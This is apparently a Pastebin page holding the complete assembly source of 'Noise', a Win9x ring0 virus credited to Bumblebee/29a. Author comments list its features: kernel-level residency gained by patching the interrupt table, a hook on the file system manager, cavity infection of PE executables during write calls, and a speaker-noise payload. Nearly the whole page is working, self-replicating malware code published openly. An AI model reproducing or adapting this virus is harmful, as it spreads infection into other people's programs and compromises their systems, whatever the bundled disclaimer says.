Advertisement
FlyFar

Virus.Win9x.Noise - Source Code

Jun 28th, 2023
1,251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 7.28 KB | Cybersecurity | 0 0
  1.  
  2. ;
  3. ;                                                  ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
  4. ;                                                  ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
  5. ;     Noise                                         ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
  6. ;     Coded by Bumblebee/29a                       ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
  7. ;                                                  ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
  8. ;   ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  9. ;   ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  10. ;   ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  11. ;   . I started to code an  i-worm  and i wanted  to make something like a
  12. ;   ring0 stealth routine for it. Then i realized: i did a ring0 virus heh
  13. ;   The name is  due the little  payload it has... that does  realy noise!
  14. ;   That's my first ring0 virus. I don't like codin ring0, but here it is.
  15. ;   That's a  research  spezimen. Don't expect the ultimate ring0 virus...
  16. ;   Only 414 bytes, that's less than MiniR3 (aka Win95.Rinim).
  17. ;
  18. ;   ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
  19. ;   ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  20. ;   ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
  21. ;   . This is the source  code of a VIRUS. The author  is not responsabile
  22. ;   of any  damage that  may occur  due to the assembly of this file.  Use
  23. ;   it at your own risk.
  24. ;
  25. ;   ÚÄÄÄÄÄÄÄÄÄÄ¿
  26. ;   ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  27. ;   ÀÄÄÄÄÄÄÄÄÄÄÙ
  28. ;   . Ring0 resident win9x virus (thus coz the way it uses to get ring0 is
  29. ;   only for win9x, not nt not w2k).
  30. ;   . It infect in similar  way  like MiniR3 does. Uses free  space in the
  31. ;   PE header. That's a cavity virus.
  32. ;   . All the data is INSIDE the code. Well... copyright is not inside :)
  33. ;   . It infects PE  files in  the user buffer when a write  call is done.
  34. ;   That makes this virus not very efficient spreading.
  35. ;   . It has a kewl  sound  payload. Makes echo with  internal speaker for
  36. ;   all disk operations ;)
  37. ;
  38. ;   Greetz to Perikles for his tests ;) You're my best tester, you know...
  39. ;
  40. ;
  41. ;                                                       The way of the bee
  42. ;
  43. .486p
  44. locals
  45. .model flat,STDCALL
  46.  
  47.         extrn           ExitProcess:PROC
  48.  
  49. VxDCall macro   vxd,service
  50.         db      0cdh,20h
  51.         dw      service
  52.         dw      vxd
  53. endm
  54.  
  55. IFSMANAGER      equ     40h
  56.  
  57. GETHEAP         equ     0dh
  58. IFSAPIHOOK      equ     67h
  59.  
  60. VSIZE           equ     vEnd-vBegin
  61. VSIZEROUND      equ     ((VSIZE/1024)+1)*1024
  62.  
  63. .DATA
  64.         ; dummy data
  65.         db      'WARNING - This is a virus carrier - WARNING'
  66.  
  67. .CODE
  68. inicio:
  69.         mov     eax,VSIZE
  70.  
  71. vBegin  label   byte
  72.         pushad
  73.         mov     al,byte ptr [esp+23h]
  74.         sub     esp,8
  75.         mov     ebp,esp
  76.  
  77.         cmp     al,0bfh
  78.         jne     NotWin9x
  79.  
  80.         sidt    qword ptr [ebp]
  81.         mov     esi,dword ptr [ebp+2]
  82.         add     esi,3*8
  83.         push    esi
  84.         mov     di,word ptr [esi+6]
  85.         shl     edi,10h
  86.         mov     di,word ptr [esi]
  87.         push    edi
  88.         call    @delta
  89. @deltaoffset:
  90. cpright db      'Bbbee/29a@Noise'
  91. @delta:
  92.         pop     eax
  93.         sub     eax,(offset @deltaoffset-offset ring0CodeInstaller)
  94.         mov     word ptr [esi],ax
  95.         shr     eax,10h
  96.         mov     word ptr [esi+6],ax
  97.         int     3h
  98.  
  99.         pop     edi
  100.         pop     esi
  101.         mov     word ptr [esi],di
  102.         shr     edi,10h
  103.         mov     word ptr [esi+6],di
  104.  
  105. NotWin9x:
  106.         add     esp,8
  107.         popad
  108.  
  109.         push    offset fakeHost
  110. hostEP  equ     $-4
  111.         ret
  112.  
  113. ring0CodeInstaller:
  114.         pushad
  115.  
  116.         mov     ebp,0bff70000h
  117.         sub     ebp,dword ptr [ebp]
  118.         jz      ReturnR3
  119.  
  120.         push    VSIZEROUND
  121.         VxDCall IFSMANAGER,GETHEAP
  122.         pop     edi
  123.         or      eax,eax
  124.         jz      ReturnR3
  125.  
  126.         mov     edi,eax
  127.         call    @@delta
  128. @@delta:
  129.         pop     esi
  130.         sub     esi,(offset @@delta-offset vBegin)
  131.         mov     ecx,VSIZE
  132.         rep     movsb
  133.  
  134.         mov     dword ptr [delta-vBegin+eax],eax
  135.  
  136.         push    eax
  137.         add     eax,offset ring0Hook-offset vBegin
  138.         push    eax
  139.         VxDCall IFSMANAGER,IFSAPIHOOK
  140.         pop     ebp
  141.         pop     edx
  142.         mov     dword ptr [edx+nextHookInChain-vBegin],eax
  143.  
  144.         mov     ebp,0bff70000h
  145.         mov     dword ptr [ebp],ebp
  146.  
  147. ReturnR3:
  148.         popad
  149.         iretd
  150.  
  151. ring0Hook:
  152.         pop     eax
  153.         push    ebp
  154.         mov     ebp,12345678h
  155. delta   equ     $-4
  156.         mov     dword ptr [returnAddr-vBegin+ebp],eax
  157.         push    edx
  158.         mov     edx,esp
  159.  
  160.         pushad
  161.         pushfd
  162.  
  163.         mov     ecx,0ffh
  164. counter equ     $-4
  165.         dec     cl
  166.         jz      beep
  167.  
  168.         mov     ecx,dword ptr [edx+0ch]
  169.         dec     ecx
  170.         jz      checkFile
  171.  
  172. exitHook:
  173.         popfd
  174.         popad
  175.         pop     edx
  176.         pop     ebp
  177.  
  178.         mov     eax,12345678h
  179. nextHookInChain equ $-4
  180.         call    dword ptr [eax]
  181.  
  182.         push    12345678h
  183. returnAddr      equ $-4
  184.         ret
  185.  
  186. checkFile:
  187.         mov     esi,dword ptr [edx+1ch]
  188.  
  189.         mov     cx,word ptr [esi]
  190.         cmp     ecx,VSIZEROUND
  191.         jb      exitHook
  192.  
  193.         mov     edi,dword ptr [esi+14h]
  194.  
  195.         mov     ebx,edi
  196.         cmp     word ptr [edi],'ZM'
  197.         jne     exitHook
  198.         cmp     ecx,dword ptr [edi+3ch]
  199.         jb      exitHook
  200.         add     edi,dword ptr [edi+3ch]
  201.         cmp     word ptr [edi],'EP'
  202.         jne     exitHook
  203.  
  204.         mov     edx,dword ptr [edi+16h]
  205.         test    edx,2h
  206.         jz      exitHook
  207.         and     edx,2000h
  208.         jnz     exitHook
  209.         mov     dx,word ptr [edi+5ch]
  210.         dec     edx
  211.         jz      exitHook
  212.  
  213.         mov     esi,edi
  214.         mov     eax,18h
  215.         add     ax,word ptr [edi+14h]
  216.         add     edi,eax
  217.  
  218.         movzx   ecx,word ptr [esi+06h]
  219.         mov     ax,28h
  220.         mul     cx
  221.         add     edi,eax
  222.  
  223.         mov     ecx,VSIZE
  224.         xor     eax,eax
  225.         pushad
  226.         rep     scasb
  227.         popad
  228.         jnz     exitHook
  229.  
  230.         add     dword ptr [esi+54h],ecx
  231.  
  232.         push    edi
  233.         sub     edi,ebx
  234.         xchg    edi,dword ptr [esi+28h]
  235.         mov     eax,dword ptr [esi+34h]
  236.         add     edi,eax
  237.         mov     dword ptr [hostEP-vBegin+ebp],edi
  238.         pop     edi
  239.  
  240.         mov     esi,ebp
  241.         rep     movsb
  242.  
  243.         dec     byte ptr [counter-vBegin+ebp]
  244.  
  245.         jmp     exitHook
  246.  
  247. beep:
  248.         dec     cl
  249.         in      al,61h
  250.         push    ax
  251.         or      al,03h
  252.         out     61h,al
  253.  
  254.         mov     al,0b6h
  255.         out     43h,al
  256.         mov     ax,987
  257.         mov     si,ax
  258. beep_loop:
  259.         add     si,100h
  260.         mov     ax,si
  261.         out     42h,al
  262.         xchg    al,ah
  263.         out     42h,al
  264.         loop    beep_loop
  265.  
  266.         pop     ax
  267.         out     61h,al
  268.         jmp     exitHook
  269.  
  270. vEnd    label   byte
  271.  
  272. fakeHost:
  273.         push    0h
  274.         call    ExitProcess
  275. Ends
  276. End     inicio
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement